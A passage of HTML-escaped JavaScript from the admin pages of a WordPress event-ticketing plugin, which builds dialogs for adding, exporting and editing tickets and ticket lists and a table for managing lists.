								let info_content = &#039;&lt;div style=&quot;width:100%;border:1px solid #efefef;background-color:white;&quot;&gt;&lt;div style=&quot;text-align:center;height:20px;background-color:#428bca;color:white;width:&#039;+per+&#039;%;&quot;&gt;&#039;+per+&#039;%&lt;/div&gt;&lt;/div&gt;&#039;;
								info_content += &#039;&lt;p style=&quot;margin-top:20px;&quot;&gt;&#039;+_x(&#039;Amount&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;: &#039;+(counter_ok+counter_notok)+&#039;/&#039;+counter_all+&#039;&lt;br&gt;&#039;+_x(&#039;Ok&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;: &#039;+counter_ok+&#039;&lt;br&gt;&#039;+_x(&#039;Not Ok&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;: &#039;+counter_notok+&#039;&lt;/p&gt;&#039;;
								dlg.html(info_content);
								data.ok.forEach(_v=&gt; {
									_output.find(&#039;li[data-id=&quot;code_&#039;+_v+&#039;&quot;]&#039;).css(&quot;color&quot;,&quot;green&quot;).append(&#039; (&#039;+_x(&#039;Ok&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;)&#039;);
									output_textarea_codes_done.append(_v+&quot;\n&quot;);
								});
								data.notok.forEach(_v=&gt; {
									_output.find(&#039;li[data-id=&quot;code_&#039;+_v+&#039;&quot;]&#039;).css(&quot;color&quot;,&quot;red&quot;).append(&#039; (&#039;+_x(&#039;Not Ok&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;)&#039;);
								});
								setTimeout(()=&gt;{
									_addCodeChunk(idx+1);
								}, 100);
							}, function(response){
								if (response.data.slice(0,4) === &quot;#208&quot;) {
									FATAL_ERROR === false &amp;&amp; LAYOUT.renderFatalError(response.data);
									FATAL_ERROR = true;
								}
							});
						}

						if (chunks.length === 0) {
							closeDialog(dlg);
						} else {
							_addCodeChunk(0);
						}
					} // __addCodesInChunks
					__addCodesInChunks(100);

					// zeige ok button, der info area leer macht und den btn store codes wieder aktiviert
					div_textarea_info.append($(&#039;&lt;button/&gt;&#039;).addClass(&quot;button-primary&quot;).css(&quot;margin-bottom&quot;, &quot;20px&quot;).html(_x(&#039;Ok&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).on(&quot;click&quot;, function(){
						div_textarea_info.html(&quot;&quot;);
						btn_store_codes.prop(&quot;disabled&quot;, false);
						input_textarea.prop(&quot;disabled&quot;, false);
						window.scrollTo(0,0);
					}));

				}).appendTo(div_textarea);
				DIV.html(div);
			});
		}
		renderAdminPageLayout(cbf) {
			function __showMaskExport(totalRecordCount) {
				if (!totalRecordCount) totalRecordCount = 0;
				let maxRange = totalRecordCount &gt; 40000 ? 40000 : totalRecordCount;
				let _options = {
					title: _x(&#039;Export tickets&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			      	modal: true,
			      	minWidth: 400,
					minHeight: 200,
			      	buttons: [
			      		{
			      			text: _x(&#039;Export&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			      			click: function() {
								___submitForm();
			      			}
			      		},
			      		{
			      			text: _x(&#039;Cancel&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			      			click: function() {
			      				closeDialog(this);
			      			}
			      		}
		      		]
			    };
			    let formdlg = $(&#039;&lt;form/&gt;&#039;).html(&#039;&lt;b&gt;&#039;+_x(&#039;Choose your export settings&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/b&gt;&lt;p&gt;&#039;);
			    formdlg.append(_x(&#039;Choose the delimiter for the column values&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;select name=&quot;delimiter&quot;&gt;&lt;option value=&quot;1&quot;&gt;, (&#039;+_x(&#039;Comma&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;)&lt;/option&gt;&lt;option value=&quot;2&quot;&gt;; (&#039;+_x(&#039;Semicolon&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;)&lt;/option&gt;&lt;option value=&quot;3&quot;&gt;| (&#039;+_x(&#039;Pipe&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;)&lt;/option&gt;&lt;/select&gt;&lt;p&gt;&#039;);
			    formdlg.append(_x(&#039;Choose a file suffix&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;select name=&quot;suffix&quot;&gt;&lt;option value=&quot;1&quot;&gt;.csv&lt;/option&gt;&lt;option value=&quot;2&quot;&gt;.txt&lt;/option&gt;&lt;/select&gt;&lt;p&gt;&#039;);

			    let _listChooser = $(&#039;&lt;select name=&quot;listchooser&quot;&gt;&lt;option value=&quot;0&quot;&gt;&#039;+_x(&#039;All&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;/select&gt;&#039;);
			    for(let a=0;a&lt;DATA_LISTS.length;a++) {
			    	_listChooser.append(&#039;&lt;option value=&quot;&#039;+DATA_LISTS[a].id+&#039;&quot;&gt;&#039;+DATA_LISTS[a].name+&#039;&lt;/option&gt;&#039;);
			    }
			    formdlg.append(_x(&#039;Limit export to ticket list&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&#039;).append(_listChooser).append(&#039;&lt;p&gt;&#039;);

			    formdlg.append(_x(&#039;Choose a sorting field&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;select name=&quot;orderby&quot;&gt;&lt;option value=&quot;1&quot; selected&gt;&#039;+_x(&#039;Creation date&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;option value=&quot;2&quot;&gt;&#039;+__(&#039;Ticket number&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;option value=&quot;3&quot;&gt;&#039;+__(&#039;Ticket display number&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;option value=&quot;4&quot;&gt;&#039;+_x(&#039;List name&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;/select&gt;&lt;p&gt;&#039;);
			    formdlg.append(_x(&#039;Choose a sorting direction&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;select name=&quot;orderbydirection&quot;&gt;&lt;option value=&quot;1&quot; selected&gt;&#039;+_x(&#039;Ascending&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;option value=&quot;2&quot;&gt;&#039;+_x(&#039;Descending&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;/select&gt;&lt;p&gt;&#039;);
			    formdlg.append(_x(&#039;Set a range&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;i&gt;&#039;+sprintf(/* translators: %d: total record count */__(&#039;You have %d tickets stored.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), totalRecordCount)+&#039;&lt;br&gt;&#039;+__(&#039;Some systems are slow and the connection timeout interrupts the export, if you have too many tickets. In that case, you can export your tickets in several steps. e.g. 0 and 20000 amount and then 20001 and 20000 amount.&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/i&gt;&lt;br&gt;&#039;+__(&#039;Enter your row start (0 = from the first)&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;input type=&quot;number&quot; name=&quot;rangestart&quot; value=&quot;0&quot;&gt;&lt;br&gt;&#039;+_x(&#039;Enter amount of tickets&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;input type=&quot;number&quot; name=&quot;rangeamount&quot; value=&quot;&#039;+maxRange+&#039;&quot;&gt;&lt;p&gt;&#039;);
				if (isPremium() &amp;&amp; PREMIUM &amp;&amp; PREMIUM.addExportTicketsInputFields) {
					formdlg.append(PREMIUM.addExportTicketsInputFields());
				}
			    let dlg = $(&#039;&lt;div/&gt;&#039;).append(formdlg);

				dlg.dialog(_options);

				let form = dlg.find(&quot;form&quot;).on(&quot;submit&quot;, function(event) {
					event.preventDefault();
					___submitForm();
				});

				function ___submitForm() {
					let delimiter = dlg.find(&#039;select[name=&quot;delimiter&quot;]&#039;).val();
					let filesuffix = dlg.find(&#039;select[name=&quot;suffix&quot;]&#039;).val();
					let orderby = dlg.find(&#039;select[name=&quot;orderby&quot;]&#039;).val();
					let orderbydirection = dlg.find(&#039;select[name=&quot;orderbydirection&quot;]&#039;).val();
					let rangestart = dlg.find(&#039;input[name=&quot;rangestart&quot;]&#039;).val();
					let rangeamount = dlg.find(&#039;input[name=&quot;rangeamount&quot;]&#039;).val();
					let listchooser = dlg.find(&#039;select[name=&quot;listchooser&quot;]&#039;).val();

					let data = {&#039;delimiter&#039;:delimiter, &#039;filesuffix&#039;:filesuffix, &#039;orderby&#039;:orderby, &#039;orderbydirection&#039;:orderbydirection, &#039;rangestart&#039;:rangestart, &#039;rangeamount&#039;:rangeamount, &#039;listchooser&#039;:listchooser};
					if (isPremium() &amp;&amp; PREMIUM &amp;&amp; PREMIUM.addExportTicketsInputFieldsData) {
						data = PREMIUM.addExportTicketsInputFieldsData(data, dlg);
					}

					let url = _requestURL(&#039;exportTableCodes&#039;, data);
					closeDialog(dlg);
					window.open(url, &quot;_blank&quot;);
				}
			}
			function __showMaskList(editValues){
				let _options = {
					title: editValues !== null ? _x(&#039;Edit List&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;) : _x(&#039;Add List&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			      	modal: true,
			      	minWidth: 600,
					minHeight: 400,
					open: function(e) {
        				//$(e.target).parent().css(&#039;background-color&#039;,&#039;orangered&#039;);
    				},
    				buttons: [
			      		{
			      			text: _x(&#039;Ok&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			      			click: function() {
								___submitForm();
			      			}
			      		},
			      		{
			      			text: _x(&#039;Cancel&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			      			click: function() {
			      				closeDialog(this);
			      			}
			      		}
		      		]
			    };
			    let dlg = $(&#039;&lt;div/&gt;&#039;).html(&#039;&lt;form&gt;&#039;+_x(&#039;Name&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;input name=&quot;inputName&quot; type=&quot;text&quot; style=&quot;width:100%;&quot; required&gt;&lt;/form&gt;&#039;);
				dlg.dialog(_options);

				dlg.find(&quot;form&quot;).append($(&#039;&lt;p&gt;&#039;+_x(&#039;Description&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;textarea name=&quot;desc&quot; style=&quot;width:100%;&quot;&gt;&lt;/textarea&gt;&lt;/p&gt;&#039;));

				if (isPremium()) PREMIUM.addListMaskEditFields(dlg, editValues);
				else {
					if (_getOptions_isActivatedByKey(&quot;oneTimeUseOfRegisterCode&quot;)) {
						dlg.append($(&#039;&lt;p&gt;&lt;b&gt;&#039;+sprintf(/* translators: %s: h4 option name */__(&#039;Overrule %s per Ticket list&#039;, &#039;event-tickets-with-ticket-scanner&#039;), _getOptions_getLabelByKey(&quot;h4&quot;))+&#039;&lt;/b&gt; &#039;+getLabelPremiumOnly()+&#039;&lt;/p&gt;&#039;));
					}
				}

				let metaObj = [];
				if (editValues &amp;&amp; typeof editValues.meta !== &quot;undefined&quot; &amp;&amp; editValues.meta != &quot;&quot;) {
					try {
						metaObj = JSON.parse(editValues.meta);
					} catch(e) {}
				}

				if (_getOptions_isActivatedByKey(&quot;userJSRedirectActiv&quot;)) {
					dlg.find(&quot;form&quot;).append($(&#039;&lt;p&gt;&#039;+_getOptions_getLabelByKey(&quot;userJSRedirectURL&quot;)+&#039;&lt;br&gt;&lt;input type=&quot;text&quot; name=&quot;redirecturl&quot; style=&quot;width:100%;&quot;&gt;&lt;/p&gt;&#039;));
				}

				dlg.find(&quot;form&quot;).append($(&#039;&lt;p&gt;&lt;input name=&quot;serialformatter&quot; type=&quot;checkbox&quot;&gt; &#039;+_x(&#039;Overrule the ticket format settings&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/p&gt;&#039;));
				let extra_div = $(&#039;&lt;div&gt;&#039;).appendTo(dlg).css(&quot;margin-top&quot;, &quot;10px&quot;).css(&quot;margin-left&quot;, &quot;24px&quot;).css(&quot;padding&quot;, &quot;10px&quot;).css(&quot;border&quot;, &quot;1px solid black&quot;)
						.html(&#039;&lt;p&gt;&lt;b&gt;&#039;+_x(&#039;Note&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;:&lt;/b&gt; &#039;+__(&#039;Will be overridden if you set the ticket number format settings on the product!&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/p&gt;&#039;);
				let serialCodeFormatter = _form_fields_serial_format(extra_div);
				serialCodeFormatter.setNoNumberOptions();
				if (typeof metaObj.formatter !== &quot;undefined&quot; &amp;&amp; metaObj.formatter.format != &quot;&quot;) {
					let formatterValues;
					try {
						let o = metaObj.formatter.format.replace(new RegExp(&quot;\\\\&quot;, &quot;g&quot;), &quot;&quot;).trim();
						formatterValues = JSON.parse(o);
						serialCodeFormatter.setFormatterValues(formatterValues);
					} catch (e) {}
				}
				serialCodeFormatter.render();

				$(&#039;&lt;hr&gt;&#039;).appendTo(dlg);
				$(&#039;&lt;h4&gt;&#039;).html(_x(&#039;Webhook&#039;, &#039;heading&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(dlg);
				if (!_getOptions_isActivatedByKey(&quot;webhooksActiv&quot;)) {
					$(&#039;&lt;div style=&quot;color:red&quot;&gt;&#039;).html(_x(&#039;The webhook need to be activated first in the options to be executed, even if the URL is set here.&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(dlg);
				}
				$(&#039;&lt;div&gt;&#039;).html(_x(&#039;URL to your service if the WooCommerce ticket is sold&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(dlg);
				let meta_webhooks_webhookURLaddwcticketsold = $(&#039;&lt;input name=&quot;meta_webhooks_webhookURLaddwcticketsold&quot; type=&quot;text&quot; style=&quot;width:100%;&quot;&gt;&#039;).appendTo(dlg);

				let form = dlg.find(&quot;form&quot;).on(&quot;submit&quot;, function(event) {
					event.preventDefault();
					___submitForm();
				});

				if (editValues) {
					form[0].elements[&#039;inputName&#039;].value = editValues.name;
					form[0].elements[&#039;inputName&#039;].select();
					if (typeof metaObj.desc !== &quot;undefined&quot;) {
						form[0].elements[&#039;desc&#039;].value = metaObj.desc.replace(new RegExp(&quot;\\\\&quot;, &quot;g&quot;), &quot;&quot;).trim();
					}
					if (typeof metaObj.formatter !== &quot;undefined&quot; &amp;&amp; metaObj.formatter.active) {
						form[0].elements[&#039;serialformatter&#039;].checked = true;
					}
					if (_getOptions_isActivatedByKey(&quot;userJSRedirectActiv&quot;) &amp;&amp; typeof metaObj.redirect !== &quot;undefined&quot; &amp;&amp; metaObj.redirect.url) {
						form[0].elements[&#039;redirecturl&#039;].value = metaObj.redirect.url.trim();
					}
					if (typeof metaObj.webhooks != &quot;undefined&quot;) {
						if (typeof metaObj.webhooks.webhookURLaddwcticketsold != &quot;undefined&quot;) {
							meta_webhooks_webhookURLaddwcticketsold.val(metaObj.webhooks.webhookURLaddwcticketsold);
						}
					}
				}

				function ___submitForm() {
					let inputName = form[0].elements[&#039;inputName&#039;].value.trim();
					if (inputName === &quot;&quot;) return;

					dlg.html(_getSpinnerHTML());
					let _data = {&quot;name&quot;:inputName};
					_data[&#039;meta&#039;] = {&quot;desc&quot;:&quot;&quot;, &quot;formatter&quot;:{}, &quot;webhooks&quot;:{}};
					_data[&#039;meta&#039;][&#039;desc&#039;] = form[0].elements[&#039;desc&#039;].value.trim();
					_data[&#039;meta&#039;][&#039;formatter&#039;][&#039;active&#039;] = form[0].elements[&#039;serialformatter&#039;].checked ? 1 : 0;
					_data[&#039;meta&#039;][&#039;formatter&#039;][&#039;format&#039;] = JSON.stringify(serialCodeFormatter.getFormatterValues());
					if (_getOptions_isActivatedByKey(&quot;userJSRedirectActiv&quot;)) {
						_data[&#039;meta&#039;][&#039;redirect&#039;] = {&quot;url&quot;:form[0].elements[&#039;redirecturl&#039;].value.trim()};
					}
					_data[&#039;meta&#039;][&#039;webhooks&#039;][&#039;webhookURLaddwcticketsold&#039;] = meta_webhooks_webhookURLaddwcticketsold.val().trim();
					if (isPremium()) PREMIUM.addListMaskEditFieldsData(_data, form[0], editValues);

					form[0].reset();
					if (editValues) {
						_data.id = editValues.id;
						_makePost(&#039;editList&#039;, _data, result=&gt;{
							DATA_LISTS = null;
							__renderTabelleListen();
							tabelle_codes_datatable.ajax.reload();
							setTimeout(function(){closeDialog(dlg);},250);
						}, function() {
							closeDialog(dlg);
						});
					} else {
						_makePost(&#039;addList&#039;, _data, result=&gt;{
							DATA_LISTS = null;
							__renderTabelleListen();
							closeDialog(dlg);
						}, function(response) {
							closeDialog(dlg);
							if (response.data.slice(0,1) === &quot;#&quot;) {
								FATAL_ERROR === false &amp;&amp; LAYOUT.renderFatalError(response.data);
								FATAL_ERROR = true;
							}
						});
					}
				}

			} // ende showmaskliste

			function __showMaskCode(editValues){
				let _options = {
					title: editValues !== null ? _x(&#039;Edit Ticket&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;) : _x(&#039;Add Ticket&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			      	modal: true,
			      	minWidth: 400,
					minHeight: 200,
			      	buttons: [
			      		{
			      			text: _x(&#039;Ok&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			      			click: function() {
								___submitForm();
			      			}
			      		},
			      		{
			      			text: _x(&#039;Cancel&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
			      			click: function() {
				        		$( this ).dialog( &quot;close&quot; );
				        		$( this ).html(&#039;&#039;);
			      			}
			      		}
		      		]
			    };
			    let dlg = $(&#039;&lt;div /&gt;&#039;).html(&#039;&lt;form&gt;&#039;+_x(&#039;List&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;select name=&quot;inputListId&quot;&gt;&lt;option value=&quot;0&quot;&gt;&#039;+_x(&#039;None&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&lt;/select&gt;&lt;/form&gt;&#039;);
				DATA_LISTS.forEach(v=&gt;{
					$(dlg).find(&#039;select[name=&quot;inputListId&quot;]&#039;).append(&#039;&lt;option &#039;+(editValues &amp;&amp; parseInt(editValues.list_id,10) === parseInt(v.id,10) ? &#039;selected &#039;:&#039;&#039;)+&#039;value=&quot;&#039;+v.id+&#039;&quot;&gt;&#039;+v.name+&#039;&lt;/option&gt;&#039;);
				});

				let elem_cvv = $(&#039;&lt;input type=&quot;text&quot; size=&quot;6&quot; minlength=&quot;5&quot; maxlength=&quot;4&quot; /&gt;&#039;);
				$(&#039;&lt;div/&gt;&#039;).css({&quot;margin-top&quot;:&quot;10px&quot;,&quot;margin-bottom&quot;: &quot;15px&quot;,&quot;margin-right&quot;: &quot;15px&quot;})
					.html(_x(&#039;CVV - use 4 digits for best results&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&#039;)
					.append(elem_cvv)
					.append(&#039;&lt;br&gt;&lt;i&gt;&#039;+__(&#039;If CVV is set, then your user will be asked to enter also the CVV to check the ticket number.&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/i&gt;&#039;)
					.appendTo(dlg.find(&quot;form&quot;));

				let div_status = $(&#039;&lt;div/&gt;&#039;);
				div_status.append(
					$(&#039;&lt;select name=&quot;inputStatus&quot;/&gt;&#039;)
						.append(&#039;&lt;option &#039;+(editValues.aktiv === &quot;1&quot;?&#039;selected&#039;:&#039;&#039;)+&#039; value=&quot;1&quot;&gt;&#039;+_x(&#039;is activ&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&#039;)
						.append(&#039;&lt;option &#039;+(editValues.aktiv === &quot;0&quot;?&#039;selected&#039;:&#039;&#039;)+&#039; &#039;+(!isPremium()?&#039;disabled&#039;:&#039;&#039;)+&#039; value=&quot;0&quot;&gt;&#039;+_x(&#039;is inactiv&#039;, &#039;option value&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039; &#039;+(!isPremium()?getLabelPremiumOnly():&#039;&#039;)+&#039;&lt;/option&gt;&#039;)
						.append(&#039;&lt;option &#039;+(editValues.aktiv === &quot;2&quot;?&#039;selected&#039;:&#039;&#039;)+&#039; value=&quot;2&quot;&gt;&#039;+_x(&#039;is stolen&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/option&gt;&#039;)
					)
				.appendTo(dlg);

				dlg.dialog(_options);

				if (editValues) {
					if (editValues.cvv) elem_cvv.val(editValues.cvv);
				}

				if (isPremium()) PREMIUM.addCodeMaskEditFields(dlg, editValues);

				let form = dlg.find(&quot;form&quot;).on(&quot;submit&quot;, function(event) {
					event.preventDefault();
					___submitForm();
				});
				function ___submitForm() {
					let inputListId = parseInt($(dlg).find(&#039;select[name=&quot;inputListId&quot;]&#039;).val(),10);
					let inputStatusValue = $(dlg).find(&#039;select[name=&quot;inputStatus&quot;]&#039;).val();
					dlg.html(_getSpinnerHTML());
					let _data = {&quot;list_id&quot;:inputListId, &quot;aktiv&quot;:inputStatusValue, &quot;cvv&quot;:elem_cvv.val().trim()};
					if (isPremium()) PREMIUM.addCodeMaskEditFieldsData(_data, form[0], editValues);
					form[0].reset();
					if (editValues) {
						_data.code = editValues.code;
						_makeGet(&#039;editCode&#039;, _data, ()=&gt;{
							tabelle_codes_datatable.ajax.reload();
							closeDialog(dlg);
						}, function() {
							closeDialog(dlg);
						});
					} else {
						alert(__(&quot;Use the add option&quot;, &#039;event-tickets-with-ticket-scanner&#039;));
					}
				}
			} // ende __showMaskCode

			let id_codes = myAjax.divPrefix+&#039;_tabelle_codes&#039;;
			let tabelle_liste_datatable;
			let tabelle_codes_datatable;
			let tabelle_codes = $(&#039;&lt;table/&gt;&#039;).attr(&quot;id&quot;, id_codes);
			let tplace = $(&#039;&lt;div/&gt;&#039;);

			function __renderTabelleListen() {
				getDataLists(()=&gt;{
					let id_liste = myAjax.divPrefix+&#039;_tabelle_liste&#039;;
					let tabelle_liste = $(&#039;&lt;table/&gt;&#039;).attr(&quot;id&quot;, id_liste);
					tabelle_liste.html(&#039;&lt;thead&gt;&lt;tr&gt;&lt;th align=&quot;left&quot;&gt;&#039;+_x(&#039;Name&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&lt;th align=&quot;left&quot;&gt;&#039;+_x(&#039;Created&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&lt;th style=&quot;width:300px&quot;&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&#039;);
					tplace.html(tabelle_liste);

					let table = $(&#039;#&#039;+id_liste);
					$(table).DataTable().clear().destroy();
					tabelle_liste_datatable = $(table).DataTable({
						language: {
        					emptyTable: &#039;&lt;b&gt;You need a ticket list to assign it to the products in order to sell tickets.&lt;/b&gt;&#039;
    					},
						&quot;responsive&quot;: true,
						&quot;visible&quot;: true,
						&quot;searching&quot;: true,
		    			&quot;ordering&quot;: true,
		    			&quot;processing&quot;: true,
		    			&quot;serverSide&quot;: false,
		    			&quot;stateSave&quot;: true,
		    			&quot;data&quot;: DATA_LISTS,
		    			&quot;order&quot;: [[ 0, &quot;asc&quot; ]],
		    			&quot;columns&quot;:[
		    				{&quot;data&quot;:&quot;name&quot;, &quot;orderable&quot;:true},
		    				{&quot;data&quot;:&quot;time&quot;, &quot;orderable&quot;:true, &quot;width&quot;:80,
								&quot;render&quot;:function (data, type, row) {
									return &#039;&lt;span style=&quot;display:none;&quot;&gt;&#039;+data+&#039;&lt;/span&gt;&#039;+DateFormatStringToDateTimeText(data);
								}
							},
		    				{&quot;data&quot;:null,&quot;orderable&quot;:false,&quot;defaultContent&quot;:&#039;&#039;,&quot;className&quot;:&quot;buttons dt-right dt-nowrap&quot;,&quot;width&quot;:180,
		    					&quot;render&quot;: function ( data, type, row ) {
		    						return &#039;&lt;button class=&quot;button-secondary&quot; data-type=&quot;showCodes&quot;&gt;&#039;+_x(&#039;Tickets&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/button&gt; &lt;button class=&quot;button-secondary&quot; data-type=&quot;edit&quot;&gt;&#039;+_x(&#039;Edit&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/button&gt; &lt;button class=&quot;button-secondary&quot; data-type=&quot;deleteAllTickets&quot; style=&quot;color:#b32d2e;&quot;&gt;&#039;+_x(&#039;Delete All Tickets&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/button&gt; &lt;button class=&quot;button-secondary&quot; data-type=&quot;delete&quot;&gt;&#039;+_x(&#039;Delete&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/button&gt;&#039;;
		                		}
		                	}
		    			]
					});
					tabelle_liste.css(&quot;width&quot;, &quot;100%&quot;);
					table.on(&#039;click&#039;, &#039;button[data-type=&quot;showCodes&quot;]&#039;, e=&gt;{
						let data = tabelle_liste_datatable.row( $(e.target).parents(&#039;tr&#039;) ).data();
		        		tabelle_codes_datatable.search(&quot;LIST:&quot;+data.id).draw();
					});
					table.on(&#039;click&#039;, &#039;button[data-type=&quot;edit&quot;]&#039;, e=&gt;{
		        		let data = tabelle_liste_datatable.row( $(e.target).parents(&#039;tr&#039;) ).data();
		        		__showMaskList(data);
					});
					table.on(&#039;click&#039;, &#039;button[data-type=&quot;delete&quot;]&#039;, e=&gt;{
		        		let data = tabelle_liste_datatable.row( $(e.target).parents(&#039;tr&#039;) ).data();
						let content = $(&#039;&lt;div&gt;&#039;);
						content.append(&#039;&lt;p&gt;&#039; + __(&#039;Are you sure, you want to delete this list?&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/p&gt;&#039;);
						content.append(&#039;&lt;p&gt;&lt;b&gt;&#039; + data.name + &#039;&lt;/b&gt;&lt;/p&gt;&#039;);
						content.append(&#039;&lt;p&gt;&#039; + __(&#039;No ticket will be deleted. Just the list.&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/p&gt;&#039;);
						content.append(&#039;&lt;hr style=&quot;margin:15px 0;&quot;&gt;&#039;);
						let checkboxId = &#039;delete-list-check-products-&#039; + data.id;
						let checkboxWrapper = $(&#039;&lt;label for=&quot;&#039; + checkboxId + &#039;&quot; style=&quot;display:flex;align-items:center;gap:8px;cursor:pointer;&quot;&gt;&#039;);
						let checkbox = $(&#039;&lt;input type=&quot;checkbox&quot; id=&quot;&#039; + checkboxId + &#039;&quot; checked&gt;&#039;);
						checkboxWrapper.append(checkbox);
						checkboxWrapper.append(__(&#039;Check if list is used by products&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
						content.append(checkboxWrapper);

		        		LAYOUT.renderYesNo(_x(&#039;Do you want to delete?&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;), content, ()=&gt;{
		        			let _data = {
								&#039;id&#039;: data.id,
								&#039;skip_product_check&#039;: !checkbox.is(&#039;:checked&#039;)
							};
		        			_makePost(&#039;removeList&#039;, _data, result=&gt;{
								if (result &amp;&amp; result.error === &#039;list_in_use&#039; &amp;&amp; result.products) {
									let errorContent = $(&#039;&lt;div&gt;&#039;);
									errorContent.append(&#039;&lt;p style=&quot;color:#b32d2e;font-weight:bold;&quot;&gt;&#039; + __(&#039;This list is still assigned to products:&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/p&gt;&#039;);
									let productList = $(&#039;&lt;ul style=&quot;margin:10px 0;padding-left:20px;&quot;&gt;&#039;);
									result.products.forEach(function(product) {
										let li = $(&#039;&lt;li style=&quot;margin:5px 0;&quot;&gt;&#039;);
										if (product.edit_url) {
											li.append(&#039;&lt;a href=&quot;&#039; + product.edit_url + &#039;&quot; target=&quot;_blank&quot;&gt;&#039; + product.name + &#039;&lt;/a&gt; (ID: &#039; + product.id + &#039;)&#039;);
										} else {
											li.append(product.name + &#039; (ID: &#039; + product.id + &#039;)&#039;);
										}
										productList.append(li);
									});
									errorContent.append(productList);
									errorContent.append(&#039;&lt;p&gt;&#039; + __(&#039;Please reassign these products first, or uncheck the product check option.&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/p&gt;&#039;);
									LAYOUT.renderInfoBox(__(&#039;Cannot delete list&#039;, &#039;event-tickets-with-ticket-scanner&#039;), errorContent);
								} else {
